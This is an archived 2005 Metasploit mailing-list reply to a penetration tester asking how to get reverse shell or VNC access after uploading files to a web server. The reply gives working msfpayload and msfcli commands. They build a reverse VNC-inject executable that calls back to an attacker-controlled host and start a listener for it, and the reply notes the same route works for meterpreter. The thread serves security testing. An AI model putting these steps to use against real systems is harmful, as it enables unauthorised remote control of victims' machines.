Metasploit mailing list archives
Reverse Shell / VNC from a writeable directory on a remote site
From: hdm at metasploit.com (H D Moore)
Date: Fri, 5 Aug 2005 15:17:22 -0500
You *might* be able to use msfpayload and the payload_handler exploit to do this, but for reasons I have yet to investigate, the VNC payload isn't working well under the exe loader. The process for this is: 1) Generate an executable: $ msfpayload win32_reverse_vncinject LHOST=1.2.3.4 LPORT=3333 X > test.exe 2) Copy the executable to your target somehow. 3) Start up the Framework with the payload_handler exploit module: $ msfcli payload_handler PAYLOAD=win32_reverse_vncinject LHOST=1.2.3.4 LPORT=3333 E 4) Execute the standalone payload stager on the target system. 5) Enjoy your happy VNC access, assuming you have write access to the current interactive desktop. This process has been tested with most of the win32 Metasploit payloads, but YMMV. This is a handy way to load up meterpreter via client-side execution bugs too ;-) -HD On Friday 05 August 2005 06:16, AsTriXs wrote:
Hi, I have found a few writable directories on a remote web server on which I am doing a Pen-Test. /images /scripts I have been able to upload a file using PUT command. How do I setup a reversell of a VNC from this stage? Does Metasploit provide an option? What would be the procedure to achieve the same? Thanks,
Current thread:
- Reverse Shell / VNC from a writeable directory on a remote site AsTriXs (Aug 05)
- Reverse Shell / VNC from a writeable directory on a remote site Jerome Athias (Aug 05)
- Reverse Shell / VNC from a writeable directory on a remote site AsTriXs (Aug 05)
- Reverse Shell / VNC from a writeable directory on a remote site Jerome Athias (Aug 05)
- Reverse Shell / VNC from a writeable directory on a remote site Nicolas Gregoire (Aug 05)
- Reverse Shell / VNC from a writeable directory on a remote site AsTriXs (Aug 05)
- Reverse Shell / VNC from a writeable directory on a remote site H D Moore (Aug 05)
- <Possible follow-ups>
- Reverse Shell / VNC from a writeable directory on a remote site Richard Horsman (Aug 05)
- Reverse Shell / VNC from a writeable directory on a remote site Jerome Athias (Aug 05)